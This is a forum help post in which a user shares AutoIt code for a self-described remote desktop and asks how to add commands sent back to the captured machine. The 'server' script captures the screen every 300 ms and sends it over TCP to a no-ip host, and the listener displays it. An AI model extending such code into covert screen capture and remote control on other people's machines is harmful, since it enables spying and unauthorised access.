Jump to content

Tcp send & receive


Recommended Posts

Hello master of Autoit i learn a tcp and i make a remote desktop & server the server send the images to the Desktop but the problem when i try to send a command from desktop to server i work with No-ip i wonder if i can use a tcp connect to receive a command from desktop send? please check and edit the SRC

 

Desktop

#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>

#Region ### START Koda GUI section ### Form=
    $form1 = GUICreate("Desktop", 612, 461, -1, -1)
    $pic1 = GUICtrlCreatePic("", 0, 0, 609, 401)
    $button1 = GUICtrlCreateButton("Send", 480, 416, 97, 33)
    GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

TCPStartup()

$li = TCPListen("0.0.0.0", "1337", 20400)

While 1


    Do
        $li2 = TCPAccept($li)

        $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exitloop 2

    EndSwitch


    Until $li2 <> -1
    FileDelete(@TempDir & "/Mr.888.jpg")


    Do
        $re = TCPRecv($li2, 100000)
        FileWrite(@TempDir & "/Mr.888.jpg", $re)



    Until $re = ""
    GUICtrlSetImage($pic1, @TempDir & "/Mr.888.jpg")


    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE

            Exitloop

        Case $button1

           ;???

    EndSwitch

WEnd

 

 

 

 

 

Server

#include <ScreenCapture.au3>

TCPStartup()

$ip=TCPNameToIP ("ray888.no-ip.org")


While 1

_ScreenCapture_SetJPGQuality (6)

_ScreenCapture_Capture(@TempDir &"/888.jpg")

Sleep (300)

$1=FileOpen (@TempDir &"/888.jpg")

$121=FileRead($1)

$oo=TCPConnect ($ip,"1337")

$p=TCPSend ($oo,$121)

TrayTip ("Send",$p,5)


WEnd

 

Edited by rayane888
Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...